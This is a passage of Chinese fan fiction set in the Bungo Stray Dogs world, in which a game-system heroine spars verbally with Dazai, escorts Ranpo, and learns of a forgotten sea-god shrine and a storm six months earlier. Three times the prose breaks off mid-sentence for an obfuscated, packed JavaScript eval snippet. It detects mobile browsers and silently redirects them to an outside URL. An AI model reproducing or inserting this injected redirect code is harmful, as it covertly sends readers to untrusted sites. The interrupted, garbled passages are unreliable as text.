太宰治轻轻重复了一遍,随即低低地笑了起来,肩膀微微耸动,在寂静的集装箱里显得有些突兀, 他抬起眼,目光再次落在花理脸上,那眼神深不见底,带着一种近乎审视的探究,“我只是有点好奇……” 他顿了顿,身体微微前倾,月光照亮了他嘴角那抹若有似无的弧度。 “你会为了「故事」的美好结局,做到哪一步呢?” 43.致索涅奇卡 集装箱里只剩下海浪拍打堤岸的遥远回响,以及两人之间骤然紧绷的空气。月光从门缝挤进来,将太宰治的脸分割成明暗两半。他嘴角那抹若有似无的弧度,在阴影里显得格外刺眼。 “故事?”花理重复着这个词,有些疑惑地迎上那双在昏暗光线下显得过分清亮的鸢色眼眸,“太宰大人,您又在说些让人听不懂的话了。” ……我不要玩心○文学社这种类型的游戏啊、太宰治不是比莫妮卡还吓人吗! 她移开视线不去看他,试图掩饰心底翻涌的震惊:“美好结局……” “人生真的可以有那一种、作为经历者本人可以确定其是happy end的结局吗?”花理低声,睫毛轻颤,有些嘲讽般,“只有在阅读故事的时候,才能像这样高高在上的评判吧?” “而且我……只是一个普通人哦?您的手下、基层员工……这种?是做不到改变结局这种事的啦。” 她试图用轻松的话语缓解一下古怪的氛围,取得了微妙的效果……?太宰治低低地笑了起来,肩膀微微耸动,笑声在空旷的集装箱里荡开,带着一种空洞的回响。 “是啊。花理只是个普通人嘛。”他很是认可般点点头。慢悠悠地调整了一下坐姿,身体微微前倾,月光终于照亮了他整张脸。苍白,俊秀,带着一种近乎天真的笑容。 他拖长了尾音,目光像无形的丝线,缠绕在花理身上。 “不过说不定,就算是当下经历的人生,也有明码标价的happy end哦?”他笑颜盈盈,“这就是我问你的啦、” “如果是为了这个故事的话,你会将什么作为交换、去做到什么呢?” 他的声音很轻,像羽毛拂过,却带着沉甸甸的分量。 太宰治依旧坐在那片阴影里,看不清表情,只有沉默的轮廓。青年像是不再打算等待她的回答,退回了更暗的地方,一只腿架在床沿。吱嘎作响的行军床,如果不说谁也无法猜到它的主人的大名鼎鼎的Mafia,天才般的操心师。 她回过神来。 “……我想、要看那是谁的故事?” 青年微微的动了动。大概是在听的表现。 “我对于将要在面前流逝的生命,大概并没有你想象的那么富有同情心。”花理说,算是隔着对方的试探与微妙的不信任,对他刚刚的问题迟来的回答。 “如果他只是一个名字……那他就只是一个故事。当我开始「为故事中的角色流泪」,我想那一定是因为他对我而言不再只是一个故事吧?” 太宰治终于抬头,脸上的表情带着点奇妙的茫然。与他平时的表现和过于聪慧的头脑不匹配的,像是小学生遇到几首的题目的时候流露出的空白,有一点抗拒。 又止不住的想要得到答案。 “根本不懂嘛……什么意思?”仍然带着点喑哑的声音,他抱怨道。没有酒意、却好像着实迷糊着的,“这种事,我不理解哦。” “诶、字面意思?” “……”他再次哼笑。曲着的一只腿放下,手撑在床边,抱怨她「又在做一些漫才一样的问答」,花理却是弯了弯眉眼。 “故事中的人在我了解他之前只是文字、映画中的人在我认识他前只是色彩。就是这个意思,只有在我终于构建出他的存在,在心里成为一个可以想起的存在时。才算得上是你所说的……” “会为了这个故事和这个人流泪吧?” 太宰治微微睁大眼睛。在短暂的空白之后,他像是终于搞懂了一切般,带着点说不清是嘲讽还是感叹的笑意“哼”了一声。语气中带着点调侃:“花理作为阅读故事的人,还真是相当严格啊。” “所以关于你的问题,这大概就是回答吧?”花理没有接他的话,耸了耸肩。有些放弃了和这个奇怪的家伙周旋些「不能被游戏角色知道这是游戏」的概念,有些破罐子破摔、带着点玩笑般: “等我因为谁流下眼泪,再来告诉你答案好了。” 面前的人却是什么都没再说,忽略她般四仰八叉像一个大字一样仰躺倒在床上冲她挥了挥手,赶她走了。花理顿了顿,张了张嘴,最终什么也没说。与对方态度不同的是,面前跳出了光屏。 「角色【太宰治】好感度已达到开启好感线任务要求!」 「角色任务【太宰治/致索涅奇卡】已归档到任务栏!您可随时查看。」 「获得角色成就【共饮毒酒】!奖励已发放至背包。」 花理又看了除了呼吸的起伏没了动作的太宰治,有些无奈地转身离开。 _ 深夜的横滨街头,海风带着刺骨的寒意。花理裹紧了外套,独自一人走在回公寓的路上。路灯将她的影子拉得很长,又缩短,再拉长。喧嚣早已沉寂,只有她的脚步声在空旷的街道上回响。 等车的时候,手机「叮咚」响了一声,打开了看了一眼,亮着荧光的屏幕送来了大概是今天唯一的一个好消息—— 「明天放假」 “好耶!” 花理忍不住欢呼,在寂静的夜里显得太过大声。虽然没有其他人在,附近也没有居民区,她还是尴尬地捂住了嘴。 脑子里乱糟糟的,像一团被猫抓过的毛线。太宰治又在说些莫名其妙的问题,虽然她已经基本脱敏了……但是上司阴晴不定、真的很影响职场体验? “他到底……想干什么?”花理喃喃自语,声音被风吹散。她用力甩了甩头,试图把这些烦人的思绪甩出去。“算了……想不通就不想了。反正……明天放假!” 想到“放假”两个字,花理的精神稍微振奋了一点。她现在只想快点回到自家公寓。 回到公寓,反锁上门,隔绝了外面的一切。花理把自己重重地摔进柔软的沙发里,长长地、满足地吁了一口气。紧绷了一整晚的神经终于彻底松懈下来,随之而来的是排山倒海的疲惫。 一夜无梦。 再次醒来时,已是下午。金色的阳光透过窗户,懒洋洋地洒在地板上,带着初夏特有的松软暖意。花理满足地在被窝里蹭了蹭,久违的安眠让身体的疲惫消散了大半。 放松了片刻,昨晚混乱的记忆便潮水般涌回脑海。太宰治醉态的试探、司机大叔离谱的脑补、集装箱里的针锋相对、遇见了这么多事情,现在自己却连通关条件都还不明了……花理烦躁地在床上滚了半圈。 “不想了不想了!我的假期!”她给自己打气。 咕咕叫的肚子提醒她该补充能量了。简单洗漱后,她盘腿坐回沙发上,点开外卖软件前,决定先履行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076713|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨晚的“承诺”——整理思绪,整理背包。 她深吸一口气,调出系统界面,淡蓝色的光幕在眼前展开。 「玩家:绵津见花理」 「等级:Lv10」 「当前任务:主线【你遗忘的记忆里】探索度:8%」 「支线:【横滨的幽灵不止一个】已解锁」 「角色任务:【太宰治/致索涅奇卡】(已归档)」 「角色任务:【中原中也/行至烈阳前】(已归档)」 「角色任务:【尾崎红叶/暗中花】(已归档)」 移开视线,目光落在背包上,背包格子清晰展开: 「日元(1000円)x 56:小有积蓄」 「普通的止血绷带x1:平凡,但关键时刻也许能救命。」 「毛豆大福x1:看起来软糯香甜。大概是谁人最喜欢的甜品。」 「平平无奇的短刀x1:攻击力感人的新手武器。」 「太宰治的绷带x1:异能无效化的载体。」 花理看着它,想起昨晚太宰治小臂上若隐若现的疤痕,皱了下眉。 算了,反正格子暂时够……这个也是个很有用的道具。她没再管它。 「mimic的军牌x1:冰冷的金属质感图标,像潘多拉魔盒。」 「海神的遗藏·深海珍珠x1:珍珠的图标散发着柔和的月白光晕」 「【美梦】的解药x1:装着未知液体的试剂瓶图标。」 没什么很多有用的。她又关上书包。整理完这边,花理试图理清目前的剧情线。 主线「你遗忘的记忆里」:探索度可怜的8%。关键词:绵津见(她的姓氏,可能与海神有关)、失忆。核心谜团,进展缓慢。 支线「横滨的幽灵不止一个」:极密档案柜、mimic、签着森鸥外和坂口安吾名字的引渡文件……这条线指向明确,但缺少开启契机或关键信息。感觉像个定时炸弹。 角色任务「太宰治/致索涅奇卡」。 花理直接划掉了,她真是没有一点自己接触太宰治还能保住老底的信心。没什么其他事,她坐在地板上支着下巴发呆,悦耳的提示音突然响起。 「叮——」 「您有一项新的区域委托任务!」 「任务名称:迷路的名侦探」 「任务类型:区域委托/侦探社相关」 「任务内容:在中央区山下町站附近,遇见因寻找限定点心而迷路的武装侦探社成员【江户川乱步】。将其安全送回侦探社。」 「任务奖励:侦探社好感度+10%;日元x 3000;【江户川乱步的点心推荐券】x1」 「玩家,是否接受请求?」 「→接受」 「→拒绝」 “啊?”花理看着任务描述和那句莫名其妙的提示语,“乱步先生……?” 武装侦探社的江户川乱步……上次遇到的、那位侦探装束、叫她「海神小姐」的青年、找限定点心迷路……好像确实是他的作风。 “侦探社好感度?点心券?”花理眨了眨眼,点击了一下光屏,“反正就在中央区,我正好也要出去觅食了,顺路看看吧。” 她选择了「接受」。 44.迷路的名侦探 山下町站附近人潮涌动,正值下午休闲时光。各种小商铺、咖啡馆林立,空气里都飘着咖啡香和甜点的甜腻气息。花理按照任务地图的指引,在那片区域来回溜达,目光在人群中搜寻那顶标志性的侦探帽和略显孩子气的脸。 “在哪里呢……”正疑惑着,任务地图上的光点和她本人的视野几乎同时聚焦在一家装潢精致的洋果子店门口。 一个穿着侦探服、头顶同款帽子的年轻人,正蹲在路边,像被遗弃的大型猫科动物,对着橱窗里五颜六色、造型可爱的点心发呆,脸上带着显而易见的放空。 他手里还拎着一个空空的纸袋,嘴边残留着点心屑。估计已经买到了、吃完了,然后……回去的路上迷路了? 是江户川乱步。 花理深吸一口气,调整了下表情,走了过去。 “……乱步先生。” 不知道为什么就觉得应该这样叫、并不是「江户川」而是「乱步」先生。面前的青年眼睛一亮,闻声猛地转过头,脸上瞬间绽放出耀眼的光芒,仿佛阴天突然放晴,之前的沮丧一扫而空: “啊!果然出现了!看吧,我就说嘛!” 他得意洋洋地站起来,拍着膝盖上的灰,语气理所当然,“名侦探就知道你会来!” “咦?”明明是系统给的任务,而不是对话拨打了之前留下的电话号码,为什么就这么笃定她会来?花理有些奇怪地拧了拧眉毛。 “只要在脑子里一直想着「需要帮助需要帮助」你就会出现的!对吧?所以我才在这里等你,”江户川乱步撑着腰哼哼两声,得意洋洋,“你看,没错吧!” 他指着花理,一脸“快夸我聪明”的表情。 “……好聪明。”花理棒读。 江户川乱步挑了挑眉,对花理的表现不甚满意,还是拍了拍手上的灰撑着膝盖站起来。像赌气一样微微鼓起脸颊,双手抱臂,“哼”了一声转过头去。 他指责:“你在敷衍名侦探!” “……没有。” “明明就是有!而且你自己都不确定吧语气超——心虚的!” “……” 花理看着江户川乱步那副不满的表情,有些心虚地移开目光。她揉了揉额角,决定不在这点上纠缠,直接切入主题:“所以……乱步先生,您需要我送您回侦探社吗?” “嗯嗯!”江户川乱步用力点头,他扶了扶帽子,然后理所当然地朝花理伸出手,露出几缕翘起的黑发,眯着眼睛笑起来的样子像只餍足的猫:“既然花理这么诚心诚意地请求了,名侦探就大发慈悲地让你护送吧!” “……那还真是感谢,乱步先生。”花理继续棒读。像猫一样动作轻快却完全不听指挥的家伙,说是要让她带路,实际上名侦探站起来就大摇大摆地随心所欲往一个方向走了。花理叹了口气,看了看地图,确认他没走错,于是默默地跟了上去。 走在前面的乱步步履轻快: “走吧!名侦探肚子又有点饿了,回去的路上说不定还能再买点别的点心……”他像是很期待一样,语调微微上扬着说。 花理:“……”她默默看了一眼他手里那个空荡荡的、还沾着糖霜的纸袋,又想起任务奖励里的“点心推荐券”…这是有多好吃啊…… 她认命地叹了口气:“好的,走吧。” 两人沿着山下町站附近繁华的街道慢慢走着。午后的阳光透过行道树的缝隙洒落一地斑驳。江户川乱步双手插在侦探外套的口袋里,时不时凑近街边店铺的橱窗,对着精致的甜品发出“哇啊”的惊叹。 花理跟在他身边,心思却有些飘忽。虽然江户川乱步已经自来熟地把称呼换成了「花理」,但她仍然在意第一次见面对方的称呼……她忍不住侧头看向身旁的江户川乱步,他正眯着眼,饶有兴致地打量着一家新开的可丽饼店。 “说起来……”花理犹豫片刻,还是开口,“我记得您是名侦探来着。” “当然啦!”江户川乱步骄傲地挺起胸膛,“世界第一的名侦探哦!” “那……”花理斟酌着词句,“您之前叫我「海神小姐」,是因为我的姓氏吗?还是……” 还是早就已经猜到了什么呢? 江户川乱步的脚步突然停住了。他转过身,翠绿的眼睛在阳光下闪烁着奇异的光彩,像是能看透人心般直视着花理。 “唔……”他歪着头,手指点着下巴,“花理最近遇到了很多奇怪的事情吧?” 花理顿了顿,点了点头。 “是这样……”她有些疑惑,“您怎么知道?” 上帝视角是这个游戏批发的东西吗?kora为什么玩家没有!给我拿来啊系统! “因为我是名侦探嘛~”江户川乱步得意地晃了晃食指,像是还有些促狭般凑近,“还以为花理借用了我的力量之后,会聪明一点呢……” 花理:“……”是在说「世界第一名侦探的敏锐」?其实她并没有再遇到需要触发的情况……而且以系统的设定来说,那个更偏向于「寻找」用途吧? 江户川乱步看着她混乱的表情,不知为何从鼻孔后哼了一声。然后是“啊、名侦探知道了!”的恍然大悟般的声音。他的声音忽然低了下来,带着几分神秘的意味: “没关系哦。”笑眯眯的侦探说,“马上就要有新的提示了~嗯嗯。花理只要耐心等待就好?” 花理不甚明白地眨眨眼,一头雾水地看他。 “抱歉、我没明白……?” 她正想追问,忽然—— “喵。” 一声突兀的猫叫打断了他们的对话。 两人同时转头,只见一只三花猫正端坐在路中央,金色的竖瞳静静地注视着他们。它毛色油亮,姿态优雅。它不像普通的流浪猫那样警惕或瑟缩,反而透着由上至下的从容。 花理眼睛微微睁大。 那是一只体型匀称、毛色黄白棕相间的三花猫,它姿态闲适,尾巴尖轻轻晃动着。一双金色的猫眼在午后的阳光下微眯起来,此刻正一眨不眨地用如人类般思考的深邃眼神凝视着她。 花理的心脏猛地一跳。 这只猫……好眼熟! 她绝不会认错。那身标志性的三花色块,奇妙的眼神……和她上次抽到的「我是猫」道具卡上的猫,简直一模一样! 那张卡其实是应该这里用的吗?变成猫和它对话这样?她当时怎么就手贱去看详情不小心点了 最奇怪的是,花理总觉得这只猫看她的眼神充满了了然和说不明的情绪。她顿了顿,走过去,猫却是闪开,离他们如刚开始般远。 「检测到特殊NPC:???」 「描 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081830|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 述:一只气质非凡的三花猫。它看起来似乎认识你。」 「状态:观察/思考中」 花理下意识地转头,求助般地看向一副气定神闲、丝毫没有被猫的出现影响的江户川乱步。他兴高采烈地说着“看吧,提示来了”。接收到花理的目光,他眨了眨眼,像是短暂地思考了一下。 名侦探抬起手,竖起一根手指,一副有了好主意的样子: “是想向名侦探求助吗?可以哦!报酬是……和果子。三、五盒!” 花理:“……诶?” 她顿了顿,看向江户川乱步的眼神里也多了几分讶异,张了张嘴。本来是想问他「这样就可以吗?」,五盒和果子的价格实在是抵不上请侦探应付的价格: “这个……乱步先生,好像有点……”少了吧。 但江户川乱步好像误会了她的意思,青年鼓了鼓腮帮子,有些不爽般竖起三根手指晃了晃,一副“什么嘛”的表情:“嗯……看在是花理的份上,那就三盒……不能再少了!这可是关系到花理身份之谜的重要线索哦?" 花理:“……啊。” 她看看那只已经转身准备离开的三花猫,又看看一脸“你赚大了”表情的乱步嘟嘟囔囔些什么“花理真不识货,名侦探的异能只值三盒和果子吗!”,移开了视线:“……好的,我明白了。” 反正到时候她多给他买点就好了吧……?按现在请侦探的花费来说,大概是多少盒呢…… “太好啦!”但江户川乱步似乎完全不介意也不清楚自己亏本的事实,只是欢呼一声,立刻蹦蹦跳跳地跟上了那只三花猫,“走吧走吧!名侦探最喜欢解谜了!” 花理叹了口气,快步跟上。那只三花猫像是听懂了他们的对话,回头看了他们一眼,金色的瞳孔在阳光下闪烁着奇异的光芒,尾巴尖轻轻一甩,转身迈着优雅的步子朝街道尽头走去。花理和江户川乱步对视一眼,默契地跟上。 猫咪的步伐看似悠闲,却始终与他们保持着如开始般固定的距离。它领着他们走出繁华的商业街,拐进一条幽静的小路。路旁的樱花树早已过了花期,浓密的绿叶在风中沙沙作响。猫咪避开落叶,步调优雅地踩在一个个空隙间。 花理盯着猫咪的背影,总觉得有些奇怪。动物领路的传说虽然在各个文化中都有,但她从没想到会有亲身体验的一天,更别说这只猫怎么看都不简单。 她摸着下巴思忖片刻。「我是猫」可是异能……猫也可以有「异能」吗?就像jojo的的替身一样……? “这只猫是……?乱步先生知道吗?”她试着旁敲侧击地询问身边的人。 “知道哦。他是……唔、小咪。” “诶……?” “是我们侦探社的一个社员后辈的宠物啦,是叫这个名字吧……就这样记住就好哦!”在花理不信任的目光中,江户川乱步如此信誓旦旦地说。 花理:“……” 虽然听起来很不能令人信服,但因为对方是一脸自信满满的名侦探,她沉默了一下,选择点头:“好……” “……”这明显的迟疑,江户川乱步这次却只是摸了摸鼻子,移开了视线。 随着他们越走越远,周围的建筑逐渐变得稀疏,花理注意到他们正在往海边走。空气中咸湿的海风越来越浓,夹杂着草木的清香。 45.绵津见命传说 “我们这是要去哪?”她试图向那只绝对听得懂人话的猫咪搭话,猫只是斜睨她一眼。抬起爪子,道路的旁边出现了一条分支的岔路。从通往海洋的大路中分出去,是通向一旁海岸边矗立的小山的。 花理擦了擦额头的汗水,气喘吁吁地撑着膝盖喘气。道路开始向上,山路比想象中要陡峭,她已经有些吃力了。作为耐力三的体力废,她已经走到自己体力的极限了。 “跟着小咪就好啦~”走在前面的江户川乱步倒是步履轻快,甚至还哼起了小调,“名侦探的直觉告诉我,马上就能看到有趣的东西了!” 那只三花猫回头看了他们一眼,也赞同般“喵”了一声,似乎在确认他们是否跟上,它于石阶上停驻片刻。然后继续沿着蜿蜒的山路前进。步伐从容不迫,仿佛一位老练的向导。 山路蜿蜒向上,脚下的石阶布满青苔,踩上去有些湿滑。周围的树木愈发高大,枝叶交错,遮蔽了大部分阳光,只有斑驳的光点洒落下来。空气变得格外安静,海浪拍打礁石的闷响,以及他们两人的脚步声来回响起。 耳边清风拂过,山上浓密的树叶被吹得哗哗作响。高处的风猛烈了许多,她抬头望去,再往上的道路两侧,树立起了许多鸟居。不过像是已经斑驳,朱红色的鸟居已经褪色,木质的柱子上爬上些许青苔。 所以这上面的是……神社?她迟疑了片刻。 鸟居是日本神社的入口标志,划分神域与人类居住的世俗界。她伸手拂过鸟居还算干净的部分,沉重的感觉涌入心头。 这座神社大概已经存在很久了,不过看山路破损和鸟居失修的情况,大概是一位存在许久,却已经被忘记的神明吧。 又走了十分钟,他们终于来到了山顶。眼前的景象让花理不由得屏住了呼吸—— 一座古老的神社静静地矗立在山顶,被茂密的树林半掩着。神社的本殿看起来年久失修,屋顶的瓦片残缺不全,但整体结构依然完整。三花猫不知何时已经蹲在了神社前的石灯笼上,金色的眸子静静地注视着他们。 「您已解锁重要场景【横滨海岸·神社】!」 「描述:远离喧嚣的寂静之地。海风低语,林涛阵阵,仿佛诉说着被遗忘的时光。旧日尊神的神社,曾经被信仰滋养的神明居所,如今门可罗雀。功德盒子里……一毛都不剩。」 花理环顾四周的时候,江户川乱步已经兴致勃勃地开始四处查看了。“哇哦!名侦探还是第一次来这种地方!”他像个好奇的孩子一样,在四处逛了逛,“看起来至少有上百年的历史了!” “哇!花理,快来看!” 被青年带着兴奋的声音呼唤,本来驻足在陈旧失修社殿前的花理被吸引了注意,跟着走到山的边缘。从这里可以俯瞰整个横滨港,碧蓝的海水在阳光下闪闪发光。 意外的地域非常好,走上来后看到的区域也很大,该有的建筑也都齐全……她有些困惑,系统并没有明说,花理于是向江户川乱步提问了:“这里供奉的是谁?” “是海神绵津见命。” 回答来自意料之外的人,突然响起的声音,神社的纸门被拉开。 虽然没有任何人登门祈祷的痕迹,沉淀了久远时光的本殿却意外的干净,从破旧的神社中走出来的,是一位年纪稍长的妇人。她将手中的扫帚靠在墙边,似乎是刚结束打扫的工作。 花理迟疑地看着她:“……您是?” 穿着朴素的老妇人笑了笑,她转身拿起本殿木廊放在地上的一带水果,走下连廊,向花理和乱步所在的方向走来。 原来这个地方还有人来……是信徒?难怪还算得上干净。花理若有所思地看着她,顿了顿。 等一下、绵津见……? 她略感诡异地看向那只猫,猫悠然自得地蹲在石灯笼上舔爪子,一个眼神都没分给她。但是很显然,这就是猫带她来这里的目的……像是引路npc一样,它知道的一定更多。 “绵津见神社?”花理轻声念出来,等待回答般看向老妇人。心脏突然剧烈跳动起来。而头发花白的女人的视线浅淡地划过他们身上,落在远方的海洋。 “神明……”江户川乱步歪着头,适时地扮演起好奇宝宝的角色,“绵津见命吗?名侦探听说过哦!” 不知何时闪现到她身侧,江户川乱步的视线略过后面的神社本殿,又落在花理身上几秒后移开,懒洋洋地拉长耳朵:“海神大人啊……” 陌生的女性轻轻点头,朝他们笑了笑,解答他们的疑惑般开始介绍道。目光悠远,仿佛穿透了破败的神社,看到了遥远的过去: “绵津见命,执掌海洋、潮汐与丰收的神明。” “祂曾是这片海域渔民与船员的守护者,庇护着他们出海平安,鱼获丰饶。这座神社,便是昔日的信仰中心之一。” 她的声音带着一种奇异的韵律,缓缓讲述着古老的传说。 「已解锁·横滨海神绵津见命传说」系统的播报声中,花理终于听见了有关这个神明的故事: “传说中伊邪那岐从黄泉国归来后,为清除污秽在筑紫国日向的橘小门阿波岐原进行禊礼,于河水中诞生了绵津见绵津见命。” “绵津见命作为海的主神,性情温和,怜悯众生。祂的泪水化作甘霖,滋养万物;祂的呼吸化作海风,指引迷途的船只。当风暴来临,祂会平息怒涛;当渔获稀少,祂会引来鱼群。人们感念祂的恩德,在此建立神社,世代供奉。” “那……后来呢?”花理追问,她有些困惑道,“既然是这么有名的神,为什么神社会变成这样?” “嗯……这个问题啊,”老妇人把手里提着的橘子递前来,作为长谈的开头。江户川乱步毫不客气地拿起一个开始剥皮,而她只是带着淡淡的慈祥的笑容: “很少见现在还有年轻人会出现在这里呢。” 她顿了顿,温和的目光扫过两人,随即明白他们并非信徒,叹了一口气,声音更低了些。 “因为信仰是会消退的。” “随着时代变迁,科技发展,人们渐渐不再依赖神明的庇护。渔船变得更大更坚固,风浪已经不再有所威胁;天气预报取代了神谕,对海洋的敬畏之心也淡薄了。”虽然带着点感叹,但她的声音中并没有多少悲哀或遗憾,只是问,“你们怎么会来这里?” “这个神社已经偏到只有我们这些在这边区域长大的、现在已经老了的家伙才来过吧?” “唔……这个。”正在吃橘子的江户川乱步抬了抬手,他正努力剥开下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091389|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个橘子的皮,含糊不清地说着,汁水险些沾到他的侦探外套袖口。他像是被这个问题稍微拉回了注意力,翠绿的眼睛转向老妇人,指指面前的三花猫,“我们跟着一只猫过来的哦!” 他像是不经意般问道: “那您呢?您怎么会来这里?” 老妇人闻言,温和地笑了笑。远方深蓝的海面,那里有货轮缓缓驶过,留下长长的白色航迹。天上的云也拉长沉重,似乎是大雨将至。 她从袋子里掏出三个橘子放在神社前的石阶上,布满皱纹的手指轻轻抚过褪色的木栏,抬头望向破败的神社屋顶,目光柔和得像在看一位久病的亲人。海风拂过她花白的鬓角,带来一丝咸涩的气息。 “我啊……”她的声音被风吹得有些轻飘,带着追忆往事的平静,“住在这山下很多年了。这里……”她指了指身后虽旧但干净的神社,“虽然没什么人来参拜了,但毕竟是我们这片海边的念想。偶尔上来打扫一下,就当是……和邻居说说话。” “……”其实不怎么了解神话,也没有这种心意的花理苦笑了一下,还是捧场的:“您有心了。” “唉,算不上啦……我也做不到什么。”老妇人只是摆摆手,溢出几声笑,又是背手往山阶上走,失去了鲜艳颜色的鸟居和缺损的石台映入眼帘。 “说起来……你们来的时候应该看到了吧?这山道损毁了不少。”她叹了口气,“就是半年前那场暴雨闹的。” 「关键词已为您自动标红:暴雨」 关键词终于来了!花理精神一振,所有的疲惫似乎都暂时被压下。她下意识地屏住了呼吸,连旁边剥橘子的江户川乱步动作也慢了下来。 “暴雨?”花理尽量让自己的声音听起来像是单纯的好奇,“半年前……横滨下过一次很大的雨?” 老妇人点点头,有些疑惑,而在她问出口之前,江户川乱步先开口了。眯着眼睛的青年微微睁开眼看着花理,碧绿的眸子闪过一丝了然:“唔……花理不知道呢。” “确实,是很大的一场雨哦。就算是横滨,也好久好久都没有下过这么大的雨了。” 花理闻言将疑惑的眼神转到江户川乱步身上,眼睛里闪着求知若渴的光。等待从这个看起来就是重要角色的家伙嘴里听到更多的信息。 收到花理期待的注视的江户川乱步顿了顿:“就是、很大的一场雨啊。” 名侦探苦恼地抓了抓头发,当时他根本没想到还会有现在需要详细叙述的时候,有些卡壳:“你一点印象都没有了吗——” “?”当时完全不在游戏里的横滨根本不知道发生了什么的花理。 看着花理和江户川乱步面面相觑的样子,老妇人忍不住笑了一下。解围般挥了挥手,说出了那时的情况: “那雨连着下了三天,整个横滨都差点变成水泽国。海水都倒灌上岸了,堤坝好多地方都冲坏了。电视里吵吵闹闹,说是几十年不遇的特大暴雨灾害……”她摇摇头,皱纹密布的脸上带着一种难以言喻的复杂神情,敬畏又像是释然。 在已然破败的神社,她带着淡淡的笑意,叹了一口气。语气却仍然温和,像是在为谁悲伤。 “——我想,说不定是神明感到悲伤、所以如此哭泣着吧。” 46.种田山头火 「已解锁主线重要线索:半年前的暴雨」 「已自动为您标红提示:半年前」 「主线【你遗忘的记忆里】章节【遗忘之河,勒忒之水】进度+15%」 「请积极探索主线……」 告别了老妇人,两个人往山下走去。花理望着山下那片在阳光下波光粼粼的海湾,却仿佛看到了半年前被狂风暴雨蹂躏的惨状。那种莫名的熟悉感和心悸再次涌上心头。 “谢谢您告诉我们这些。”花理压下翻腾的情绪,对老妇人微微鞠躬。 “不客气,年轻人。”老妇人摆摆手,脸上依旧是温和的笑容,“能看到有人还对这座老神社感兴趣,我就很开心了。” 花理不知道怎么回答,只能礼貌地笑着点头,目光转向蹲在石灯笼上、仿佛在闭目养神的三花猫。它似乎完成了引路的使命,对他们的告别毫无反应。 江户川乱步则毫不客气地把最后一个橘子塞进嘴里,含糊不清地说:“婆婆再见!” 沿着来时的山路往下走。阳光透过树叶的缝隙洒下,斑驳的光影在布满青苔的石阶上跳跃。虽然风景依旧好,但比起上山时的好奇和探索,下山的气氛显得有些沉闷。 “……”花理苦恼地张了张嘴,江户川乱步走在前面,披风随着下楼的动作摆动。花理犹豫了一下,伸手抓住江户川乱步的披风。面前的人迈下去的步子停下,抬起头来,仍然眯着眼睛,没有阻止她的动作。 他正了正帽子,双手抱臂:“怎么了?花理。” 江户川乱步的视线扫过花理抓着他披风的手和欲言又止的表情,有些奇怪地问: “你是在害怕吗?” “我……” 两个人几乎是同时出声,花理被他的问题问得愣了一下,有些茫然地眨了眨眼,手中抓着东西的动作也放开了。顿了顿,她三两步走下和江户川乱步隔着的几层台阶站定: “……乱步先生觉得我的姓氏是怎么来的?” “嗯?不应该是继承父母的吗?” “……” 对方的表情完全就是没思考的随口一说,花理表情难以言喻地看了他一眼。江户川乱步像是又发现了什么新线索一样,微微抬了抬眉梢: “诶?花理不是?” “不是……” 说起来,她的姓氏是怎么来的?花理被问住了,有些苦恼地思考了片刻。系统说游戏内会屏蔽一些记忆提高体验感,难道是因为这个? 毕竟这里有一个和她似乎千丝万缕联系着的「绵津见命」,如果记得自己只是很普通的跟着家长姓的话,会有点出戏的好笑吧?她依稀记得,这个姓氏并不是自己想的、而是一个男人告诉她的。一个很高大的、白色头发的男人……是谁来着? 花理晃晃脑袋,释然般决定不想了。比起这个姓氏确实是怎么来的,她现在更关心游戏中自己和「绵津见命」的关系。她抬头看向江户川乱步,面前的人好像看透了她心中所想,在她开口之前就先一步说: “名侦探不觉得花理是神明哦?” 那样最好了!……但是这样说出来怎么觉得怪怪的、像中二病一样? 花理干笑了两声,移开视线,继续往山下走。江户川乱步慢悠悠地走在她身后。 她沉默地走着,脑海里反复回忆着关键词。系统提示的探索度上升了,但于她而言,真相却像隔着一层浓雾,更加扑朔迷离。 她并不想要苦大仇深的复杂背景,江户川乱步也说了她并不是神明本身……那么,这个姓氏和神明的关联所指向的到底是什么呢? “喂,花理。”江户川乱步的声音打破了沉默。他凑到了花理身边,翠绿的眼睛闪烁着狡黠的光,“名侦探刚才可是帮了大忙哦!” “什么大忙?” “让你知道了绵津见命相关的事情啊!” “那个不是偶遇的路人阿姨说的吗……” “……是名侦探带你来这里的吧!” “很遗憾,但是带我来这里的是小咪才对。” “……” 面前的人有些赌气地鼓起脸,大叫着「花理你根本不懂名侦探的良苦用心!」,对她说的话选择扭过头去「哼」的一声不予理睬。花理顿了顿,有些无奈地侧头看他: “和果子。加到五盒好不好?”她伸出一只手,比了一个五。 “嘛,勉强吧。”江户川乱步一只眼眯着,一只眼睁开偷偷打量她的表情,看她一脸温和平静的样子,理直气壮地伸出手,“那现在就要!名侦探饿了!” 花理:“……” 她无奈地揉了揉额头:“等下山吧……” 